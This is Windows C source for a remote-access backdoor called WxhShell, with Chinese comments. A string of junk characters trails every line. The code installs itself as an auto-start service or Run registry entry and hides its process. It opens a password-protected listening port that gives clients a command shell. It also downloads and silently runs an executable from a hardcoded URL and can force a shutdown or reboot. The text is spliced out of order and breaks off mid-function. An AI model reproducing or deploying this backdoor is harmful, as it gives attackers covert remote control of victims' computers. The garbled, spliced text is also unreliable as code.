  case 'd': { |DsT $ ~D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dh}d-m_5  
    if(Boot(SHUTDOWN)) 2Gj)fMK38  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4,YL15.  
    else { R$dNdd9m  
    closesocket(wsh); *e:I*L  
    ExitThread(0); Fku<|1}&y  
    } 7NOF^/nU  
    break; Ke#Rkt  
    } C %j%>X`  
  // 获取shell g 6?y{(1  
  case 's': { fWIWRsy%  
    CmdShell(wsh); lOb(XH9  
    closesocket(wsh); X<W${L$G  
    ExitThread(0); b ~]v'|5[  
    break; V4Qy^nn1  
  } x@)cj  
  // 退出 M.qv'zV`xG  
  case 'x': { 1n6%EC|X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z{ 9Io/  
    CloseIt(wsh); ($UUgjv F  
    break; >^,?0HP  
    } gCRPaF6  
  // 离开 hH05p!2  
  case 'q': { &Vpr[S@:{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C^_m>H3b  
    closesocket(wsh); (*vBpJyz%  
    WSACleanup(); plr3&T~,&S  
    exit(1); kbH@h2Ww  
    break; e=# D1  
        } lc [)Ev  
  } LV$Ko_9eA  
  } 'vq0Tw5  
x{G 'IEf  
  // 提示信息 f4 +P2j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h'vBWtMa  
} =l] lwA -  
  } Ed_Fx'  
5~[][VV^  
  return; F]N?_ bo  
} \?Xoa"^  
h^,L) E  
// shell模块句柄 W"t^t|H'~  
int CmdShell(SOCKET sock) b>#dMRK  
{ ;/ |tU o$  
STARTUPINFO si; psiuoYf  
ZeroMemory(&si,sizeof(si)); heWQPM|s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ix(,gDN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ne3YhCC>  
PROCESS_INFORMATION ProcessInfo; g{>0Pa 1?C  
char cmdline[]="cmd"; .Tw:Y,G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V`c,U7[/  
  return 0; Ut/%+r"s  
} r1=j$G  
b8%TwYp  
// 自身启动模式 {od@S l  
int StartFromService(void) QWt3KW8)  
{ Azr|cKu]  
typedef struct d}|z+D  
{ T>hm\!  
  DWORD ExitStatus; XW2ZQMos1  
  DWORD PebBaseAddress; Bk5 ELf8pL  
  DWORD AffinityMask; ]|K6Z>V  
  DWORD BasePriority; &?xtmg<d  
  ULONG UniqueProcessId; /Q89y[  
  ULONG InheritedFromUniqueProcessId; Q TN24 q4  
}   PROCESS_BASIC_INFORMATION; 7&]|c?([4  
S {+Z.P  
PROCNTQSIP NtQueryInformationProcess; v<(+ l)Ln  
$|[N3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PAC=LQn&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =CdrhP_  
6p&uifY}tR  
  HANDLE             hProcess; KP>1%ap6  
  PROCESS_BASIC_INFORMATION pbi; 2r+nr  
 %(K}1[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '|Lv -7  
  if(NULL == hInst ) return 0; f|/ ,eP$  
g"c7$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2BT+[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gfy9YH~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CeUXGa|C  
;"RyHow  
  if (!NtQueryInformationProcess) return 0; V)u#=OS  
QOPh3+.5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SL+n y(y  
  if(!hProcess) return 0; eQ6wEeB9  
X Vo+ <&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2\#$::B9  
(4C)] RHQ  
  CloseHandle(hProcess); E]a;Ydf~  
q]Xu #:X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6p3cMJ'8y  
if(hProcess==NULL) return 0; Y ;E'gP-J  
xh25 *y  
HMODULE hMod; i],~tT|P  
char procName[255]; uz20pun4B  
unsigned long cbNeeded; z_A\\  
v:9'k~4)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LN5q_ZvR  
~6QV?j  
  CloseHandle(hProcess); J*:_3Wsy  
497l2}0  
if(strstr(procName,"services")) return 1; // 以服务启动 B| M@o^Tf  
0~DsA Ua  
  return 0; // 注册表启动 [T/S/@IT  
} 0=40}n&`  
pbwOma2  
// 主模块 7*WO9R/  
int StartWxhshell(LPSTR lpCmdLine) 7:JGrO  
{ ];=|))ky"  
  SOCKET wsl; ;WrG\R/|  
BOOL val=TRUE; W?ghG  
  int port=0; VyNU<}  
  struct sockaddr_in door; Es\J%*\u  
m0^~VK|  
  if(wscfg.ws_autoins) Install(); C58B(Ndo  
u{D]Kc?n  
port=atoi(lpCmdLine); uFlf#t =  
:C0)[L  
if(port<=0) port=wscfg.ws_port; yB{1&S5 C  
nhZ/^`Y<  
  WSADATA data; PTXS8e4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /_8nZVu  
G<`(d@g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rH\oFCzC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R'atg 9  
  door.sin_family = AF_INET; g1l:k1\Ht  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G$CSZrP.  
  door.sin_port = htons(port); \-[ >bsg  
lKqFuLHwF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t.bM]QU!1  
closesocket(wsl); ^![7X'!;pt  
return 1; ~~t >;  
} ]xJ. OUJy  
/,$V/q+  
  if(listen(wsl,2) == INVALID_SOCKET) { %*gg6Q  
closesocket(wsl); I,]q;lEMt  
return 1; :RBeq,QaO  
}  >Af0S;S  
  Wxhshell(wsl); OKu~Nb*  
  WSACleanup(); Z\n^m^Z =  
EF9Y=(0|  
return 0; |;p.!FO  
4gmlK,a  
} g2u\gR5  
yKm6 8n^  
// 以NT服务方式启动 0| =y#`;,Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +-5YmN'  
{ I@#IXH?6  
DWORD   status = 0; ,WW=,P  
  DWORD   specificError = 0xfffffff; Z,~@_;F  
M@*Y&(~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z|(<Co8#.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vk[M .=J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qIh9? |`U  
  serviceStatus.dwWin32ExitCode     = 0; #nZPnc:  
  serviceStatus.dwServiceSpecificExitCode = 0; P9q=tC3^  
  serviceStatus.dwCheckPoint       = 0; 5HY0 *\  
  serviceStatus.dwWaitHint       = 0; }"kF<gG1  
D& &71X '  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q$K}Fm1C  
  if (hServiceStatusHandle==0) return; qHd7C3  
'coY`B; 8  
status = GetLastError(); lJx5scN [  
  if (status!=NO_ERROR) Wdj|RKw  
{ )vuIO(8F#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5EECr \*  
    serviceStatus.dwCheckPoint       = 0; P{StF`>Y  
    serviceStatus.dwWaitHint       = 0; w:R#F( 'B  
    serviceStatus.dwWin32ExitCode     = status; FNo.#Z5+b  
    serviceStatus.dwServiceSpecificExitCode = specificError; u1. 0-Y?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y&DoA0/y  
    return; # |OA>[  
  } s<3M_mt  
q; C6ID`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OF-g7s6VH  
  serviceStatus.dwCheckPoint       = 0; h1f 05  
  serviceStatus.dwWaitHint       = 0; j|XL$Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -q? ,  
}  ]4K4Nh~  
X7tBpyi  
// 处理NT服务事件,比如:启动、停止 tv: mjS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vCOtED*<  
{ 2gEF$?+q?  
switch(fdwControl) K&T.~2'>  
{ ,,ML^ey  
case SERVICE_CONTROL_STOP: _C|j"f/}  
  serviceStatus.dwWin32ExitCode = 0; KYz@H#M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g{kjd2  
  serviceStatus.dwCheckPoint   = 0; 7fl{<uf  
  serviceStatus.dwWaitHint     = 0; s={IKU&m[  
  { e :T9f('  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GSfU*@L3  
  } >CHb;*U  
  return; T?tZ?!6  
case SERVICE_CONTROL_PAUSE: ph%t #R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M.EL^;r  
  break; nD!t*P  
case SERVICE_CONTROL_CONTINUE: i#*lK7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rQ&XHG>Q*  
  break; \#F>R,  
case SERVICE_CONTROL_INTERROGATE: s;sr(34  
  break; TS=U%)Ik  
}; 4sC)hAx&f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sNMF(TY  
} \+x#aN\  
(io[O?te  
// 标准应用程序主函数 ~b4kV)[ q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k(@W z>aCv  
{ ,&Vir)S  
:dxKcg7  
// 获取操作系统版本 ZQ-6n1O  
OsIsNt=GetOsVer(); <KE%|6oER  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :X}Ie P  
b%d,X-3  
  // 从命令行安装 oE0~F|(\1  
  if(strpbrk(lpCmdLine,"iI")) Install(); _c(h{dn  
SN[ar&I  
  // 下载执行文件 K%u>'W  
if(wscfg.ws_downexe) { dh%DALZ8t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zvra >%  
  WinExec(wscfg.ws_filenam,SW_HIDE);  2 av=W  
} 6:Y2z!MLO  
+k/=L9#e  
if(!OsIsNt) { b tbuE  
// 如果时win9x,隐藏进程并且设置为注册表启动 RPjw12Ly  
HideProc(); uh>"TeOi  
StartWxhshell(lpCmdLine); B$S@xD $  
} {CFy %  
else |Nadk(}  
  if(StartFromService()) [ /<kPi  
  // 以服务方式启动 <)Y jVGG  
  StartServiceCtrlDispatcher(DispatchTable); <Ynrw4[)t  
else ~n(LBA  
  // 普通方式启动 0r?]b*IEK  
  StartWxhshell(lpCmdLine); $FZcvo3@*S  
B$7Cjv  
return 0; y k\/Cf  
} 2+*o^`%4P  
05 .EI)7  
.z*}%,G  
0WyOORuK  
=========================================== u<+"#.[2v~  
i<q_d7-W'  
PI"6d)S2  
h<n2pz}  
kUr/*an  
R38 \&F  
" Yjl:i*u/  
o"kL,&  
#include <stdio.h> _lC0XDZ  
#include <string.h> 2Zg%4/u,Zp  
#include <windows.h> g[\8s~g,  
#include <winsock2.h> -"XHN=H  
#include <winsvc.h> ]LMtZUz  
#include <urlmon.h> `BaJ >%|  
BJ5^-|  
#pragma comment (lib, "Ws2_32.lib") czB),vooz  
#pragma comment (lib, "urlmon.lib") b'vIX< g  
_ D"S  
#define MAX_USER   100 // 最大客户端连接数 Vl'rO_?t  
#define BUF_SOCK   200 // sock buffer /J(~NGT  
#define KEY_BUFF   255 // 输入 buffer ;1>V7+/  
ZmJ<FF4  
#define REBOOT     0   // 重启 OM`Ws5W}f  
#define SHUTDOWN   1   // 关机 ~D`  
U99Uny9  
#define DEF_PORT   5000 // 监听端口 Cm0K-~ U  
A7T(p7pP  
#define REG_LEN     16   // 注册表键长度 uC[F'\Y  
#define SVC_LEN     80   // NT服务名长度 0C6T>E7  
7y$U$6  
// 从dll定义API 3FMYs&0r4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qtt3;5m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |D[LU[<C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Or55_E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E5a7p.  
L[U?{  
// wxhshell配置信息 hZ')<@hNP  
struct WSCFG { pr1kYMrqri  
  int ws_port;         // 监听端口 \FnR'ne  
  char ws_passstr[REG_LEN]; // 口令 oxJAI4{y 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no J<&?Hb*|  
  char ws_regname[REG_LEN]; // 注册表键名 omT^jh  
  char ws_svcname[REG_LEN]; // 服务名 r?pN-x$M=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !wZIXpeL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pjq()\/[Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UMHFq-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b=SCyGxlZ5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q 2;CvoF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .k%/JF91n  
6LqF*$+$`  
}; Hr \vu`p$  
:!FGvR6  
// default Wxhshell configuration w8#ji 1gX  
struct WSCFG wscfg={DEF_PORT, i8#:y`ai  
    "xuhuanlingzhe", n1b^o~agwC  
    1, Ql,WKoj*  
    "Wxhshell", ~ cI`$kJ  
    "Wxhshell", j9BcoEl:;  
            "WxhShell Service", 3ik~PgGoKQ  
    "Wrsky Windows CmdShell Service", }|nEbM]#  
    "Please Input Your Password: ", Jn9 {@??  
  1, 6.a|w}C`  
  "http://www.wrsky.com/wxhshell.exe", 2;w> w#}>  
  "Wxhshell.exe" 4{0vdpo3F  
    }; P~PM$e  
f9O_M1=|lo  
// 消息定义模块 bP%X^q~]A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ucJ8l(?Qc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }n +MVJ;dG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (@bq@0g  
char *msg_ws_ext="\n\rExit."; QoMa+QTuc  
char *msg_ws_end="\n\rQuit."; 9Fg:   
char *msg_ws_boot="\n\rReboot..."; .Y }k@T40a  
char *msg_ws_poff="\n\rShutdown..."; iEbW[sX[ 4  
char *msg_ws_down="\n\rSave to "; 7Q~$&G  
*9`k$'  
char *msg_ws_err="\n\rErr!"; 3~LNz8Z*  
char *msg_ws_ok="\n\rOK!"; G)gb5VW k  
-oY8]HrXfK  
char ExeFile[MAX_PATH]; cmY `$=  
int nUser = 0; )"63g   
HANDLE handles[MAX_USER]; V5 Gy|X  
int OsIsNt; 8< J3Xe  
{J/+KK  
SERVICE_STATUS       serviceStatus; 7'ws: #pC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7UUu1"|a|  
\vuWypo  
// 函数声明 m &[(xVM  
int Install(void); ( v$ i  
int Uninstall(void); Qz$Wp*  
int DownloadFile(char *sURL, SOCKET wsh);  TZdJq  
int Boot(int flag); !yz3:Yzu  
void HideProc(void); KYq<n& s  
int GetOsVer(void); 0;%\L:,O  
int Wxhshell(SOCKET wsl); ; NO#/  
void TalkWithClient(void *cs); H)rJ >L  
int CmdShell(SOCKET sock); :]LW,Eql  
int StartFromService(void); ojVN -*5  
int StartWxhshell(LPSTR lpCmdLine); ;)ERxMun  
sGa "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vq^b_^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yP34h*0B  
v7@ *dg  
// 数据结构和表定义 ciW;sK8  
SERVICE_TABLE_ENTRY DispatchTable[] = r>rL[`p(2  
{ <t"fL RX  
{wscfg.ws_svcname, NTServiceMain}, ?DY6V;&F@f  
{NULL, NULL} @scSW5+  
}; ?gjkgCbC#  
ler$HA%F]  
// 自我安装 W~s:SN  
int Install(void) dE 3M   
{ y4H/CH$%  
  char svExeFile[MAX_PATH]; `*i:z'  
  HKEY key; ghk"XJ|  
  strcpy(svExeFile,ExeFile); msOE#QL6a  
Q*8 x Bi1  
// 如果是win9x系统,修改注册表设为自启动 e|^.N[W  
if(!OsIsNt) { M-8d*#_P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WWLf'89It  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wq<H sJd/  
  RegCloseKey(key); vJ;0%;eu[!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }hXmK.['  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G+m[W  
  RegCloseKey(key); V Y@`)  
  return 0; m=w #l>!  
    } 'a~F'FN$  
  } JYLAu4s6  
} vpdT2/F  
else { I~-sBMm(w  
P|a|4Bb+fW  
// 如果是NT以上系统,安装为系统服务 :1~4X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kAW2vh  
if (schSCManager!=0) H8E#r*"-m  
{ _OK!/T*FBt  
  SC_HANDLE schService = CreateService m5W':vM  
  ( %B\VY+  
  schSCManager, W>[TFdH?  
  wscfg.ws_svcname, >=3oe.$)  
  wscfg.ws_svcdisp, w; :{  
  SERVICE_ALL_ACCESS, }G"bD8+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A'*#UYn(  
  SERVICE_AUTO_START, LDDt=HEY4  
  SERVICE_ERROR_NORMAL, 2=| Ks]<P  
  svExeFile, Jb)xzUhES  
  NULL, FWLLbL5t  
  NULL, oYWHO<b  
  NULL, U:|:Y=O?Q  
  NULL, =vL >&$  
  NULL ]Bz.6OR  
  ); 8w~X4A,  
  if (schService!=0) = jTC+0u  
  { .la_u8A]  
  CloseServiceHandle(schService); w(Q{;RNM;  
  CloseServiceHandle(schSCManager); }RQHsS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SOS|3q_`  
  strcat(svExeFile,wscfg.ws_svcname); ]zI*}(adu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;NGSJfn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 66po SZR@  
  RegCloseKey(key); k?_uv  
  return 0; k:&B b"  
    } ]'z 5%'  
  } `a@YbuLd  
  CloseServiceHandle(schSCManager); ];QX&";Z  
} +t(Gt0+  
} !{A#\~,  
Jn20^YG  
return 1; 3+! G9T!  
} rt\.|Hr4s  
+0:]KG!Zs.  
// 自我卸载 c >xHaA:V  
int Uninstall(void) %~N| RSec  
{ \M*c3\&~,e  
  HKEY key; gi8f)MNP?~  
f;b f R&v  
if(!OsIsNt) { 5+/XO>P1m|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :]8!G- Z  
  RegDeleteValue(key,wscfg.ws_regname); A!a.,{fZ  
  RegCloseKey(key); Xzqx8Kd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mC'<Ov<eJ  
  RegDeleteValue(key,wscfg.ws_regname); v/,,z+%-  
  RegCloseKey(key); "[CR5q9Pr  
  return 0; Q776cj^L  
  } YOY2K%o  
} @680.+Kw  
} T~d_?UAw$  
else { UvL=^*tm  
rW*[sLl3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2Xv$  
if (schSCManager!=0) 6<YAoo  
{ t]ID  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0 l+Jq  
  if (schService!=0) k jx<;##R8  
  { :79u2wSh  
  if(DeleteService(schService)!=0) { < WQ ~X<1D  
  CloseServiceHandle(schService); <Q_E3lQy/  
  CloseServiceHandle(schSCManager); "lB%"}  
  return 0; uFfk!  
  } N \woFrG  
  CloseServiceHandle(schService); I@(3~ Ab  
  } *~zB{  
  CloseServiceHandle(schSCManager); $/Llzpvny  
} OK \9`  
} 0 .ck!"h}  
 \ns} M3  
return 1; _*wlK;`  
} )J 8mn*  
4?c0rC<  
// 从指定url下载文件 /LG}nY  
int DownloadFile(char *sURL, SOCKET wsh) ziv*4  
{ e8k|%m<Sp  
  HRESULT hr; PD-*rG `  
char seps[]= "/"; 9{-H/YS\_s  
char *token; ~b6c:db3  
char *file; pzT`.#N:M  
char myURL[MAX_PATH]; d}@n,3  
char myFILE[MAX_PATH]; @CKMJ^#|  
q( %)^C  
strcpy(myURL,sURL); $,nidK!"  
  token=strtok(myURL,seps); HgTBON(  
  while(token!=NULL) zw0u|q;#  
  { Y,-! QFS#  
    file=token; X:QRy9]  
  token=strtok(NULL,seps); Axla@  
  } j 5bHzcv  
./CD W  
GetCurrentDirectory(MAX_PATH,myFILE); }|],UXk{xB  
strcat(myFILE, "\\"); !_-Uwg  
strcat(myFILE, file);  H@sM$8  
  send(wsh,myFILE,strlen(myFILE),0); Mwa Rwk;  
send(wsh,"...",3,0); Z5@E|O&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mJsU7bD`  
  if(hr==S_OK) 12l1u[TlS  
return 0; !HF<fn  
else 8k^1:gt^  
return 1; ~bgM*4GW  
 8(}cbW  
} b.cBg.a  
5 axt\  
// 系统电源模块 n9V8A[QJ  
int Boot(int flag) .RWq!Z=)3  
{ FaKZ|~Y e  
  HANDLE hToken; <'~6L#>,<  
  TOKEN_PRIVILEGES tkp; "7w=LhzV[$  
'T]Ok\  
  if(OsIsNt) { %<MI]D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HE+D]7^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PVrNS7 Rk/  
    tkp.PrivilegeCount = 1; q,=YKw)*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /mK]O7O7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A $l  
if(flag==REBOOT) { }&^1")2t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C-H6l6,  
  return 0; BuOe'$F 0t  
} ;7(vqm<V2~  
else { w NMA)S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vg5fMH9ZZ  
  return 0; e4;h*IQK  
} 07>D G#  
  } -~ Dn^B1^  
  else { I:YE6${k!  
if(flag==REBOOT) { !4$-.L)#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]!2[kA-  
  return 0; ESuP ZB  
} pJ/{X=y  
else { +ux`}L(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1/A|$t[  
  return 0; [+qB^6I+P%  
} l=47#zbpZ]  
} sRflabl *x  
_Bhd@S!  
return 1; ;6`7 \  
} Kn}Y7B{  
pAyUQe;X#  
// win9x进程隐藏模块 4Td)1~zc3  
void HideProc(void) )#,a'~w  
{ h3Nbgxa.  
-$`q:j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fdgjTX  
  if ( hKernel != NULL ) BipD8`a  
  { eH%i8a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y_T%xWK5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BfQ#5  
    FreeLibrary(hKernel); 0,6! 6>BOT  
  } wIF)(t-):  
\ (U|&  
return; hfs QAa  
} bUc ++M  
hPt=j{aJ%<  
// 获取操作系统版本 ^CB@4$!   
int GetOsVer(void) iN2591S  
{ ucUu hS5  
  OSVERSIONINFO winfo; #_zj5B38E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jIWX6  
  GetVersionEx(&winfo); T;3B_ lu]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /Ur]U w  
  return 1; Rj-4K@a8#N  
  else ^O**ZndB/  
  return 0; Cf@N>N#t)  
} 3vEwui-5  
%/R[cj 8  
// 客户端句柄模块 /.(F\2+A  
int Wxhshell(SOCKET wsl) F mQiy+.|  
{ 7+rroCr"  
  SOCKET wsh; $^W|@et{ ]  
  struct sockaddr_in client; >skl-f  
  DWORD myID; t!0 IQ9\[*  
cd4HbSp  
  while(nUser<MAX_USER) )~#3A@  
{ 6`5DR~  
  int nSize=sizeof(client); $"3cN&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZsGJ[  
  if(wsh==INVALID_SOCKET) return 1; t]xR`Rr;X  
UhSaqq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5w</Ga  
if(handles[nUser]==0) EH]qYF.  
  closesocket(wsh); TZarI-A  
else + ,rl\|J%  
  nUser++; 'fY29Xr^  
  } H WFnIUv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;Ehv1{;  
m4G))||9Q  
  return 0; K^%ONultv  
} 4"Mq]_D  
LKst QP!I  
// 关闭 socket B8zc#0!1  
void CloseIt(SOCKET wsh) /Y| <0tq  
{ zn5|ewl@"  
closesocket(wsh); hdYd2 j  
nUser--; {ApjOIxk  
ExitThread(0); O*c<m,  
} Q=^TKsu  
O66b^*=N}x  
// 客户端请求句柄 n^/)T3mz{  
void TalkWithClient(void *cs) !~Kg_*IT  
{ 2QKt.a  
z!)@`?  
  SOCKET wsh=(SOCKET)cs; E+Dcw  
  char pwd[SVC_LEN]; 9M@,BXOt  
  char cmd[KEY_BUFF];  x(A6RRh  
char chr[1]; {Bb:\N8X  
int i,j; 2FEi-m}  
w+hpi5OH  
  while (nUser < MAX_USER) { |^OK@KdL1  
Uq.hCb`:  
if(wscfg.ws_passstr) { % ejq|i7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BxesoB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <6C:\{eo  
  //ZeroMemory(pwd,KEY_BUFF); )%HIC@MM6  
      i=0; RT[ E$H  
  while(i<SVC_LEN) { "MyMByomQ  
iXqRX';F'}  
  // 设置超时 VBK|*Tl  
  fd_set FdRead; yER  
  struct timeval TimeOut; Eopb##o  
  FD_ZERO(&FdRead); xn1, o MY=  
  FD_SET(wsh,&FdRead); z]!w@:  
  TimeOut.tv_sec=8; i~rb-~o  
  TimeOut.tv_usec=0; Am#Pa,g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dHtEyF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fRp(&%8E  
X5=I{eY}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fD%20P`.  
  pwd=chr[0]; 2j$~lI  
  if(chr[0]==0xd || chr[0]==0xa) { Kr+#)S  
  pwd=0; .L.9e#?3  
  break; ?B<.d8i  
  } Myh?=:1~(c  
  i++; f\H1$q\p\  
    } 4j<[3~:0 o  
/?*ut&hwv  
  // 如果是非法用户,关闭 socket &a'LOq+r'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,vuC0{C^  
} j k&\{  
@I?: x4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HP:[aR!2P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AL|3_+G  
D{JwZL@7k2  
while(1) { Nwk^r75lq  
\Npvm49  
  ZeroMemory(cmd,KEY_BUFF); -cP1,>Ahv  
0+AMN-  
      // 自动支持客户端 telnet标准   N\Ab0mDOV.  
  j=0; ;&MnPFmq  
  while(j<KEY_BUFF) { `k(m2k ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kv<(N  
  cmd[j]=chr[0]; As j<u!L  
  if(chr[0]==0xa || chr[0]==0xd) { j? Vs"d|  
  cmd[j]=0; ts r{-4V  
  break; 'a>D+A:  
  } -0<ZN(?|  
  j++; SUD~@]N1  
    } :)%cL8Nz]$  
~w}=Oby'y  
  // 下载文件 x\YVB',h  
  if(strstr(cmd,"http://")) { So4#n7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $dug"[  
  if(DownloadFile(cmd,wsh)) dcfwUjp[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w4l]rH  
  else 4|DN^F~iut  
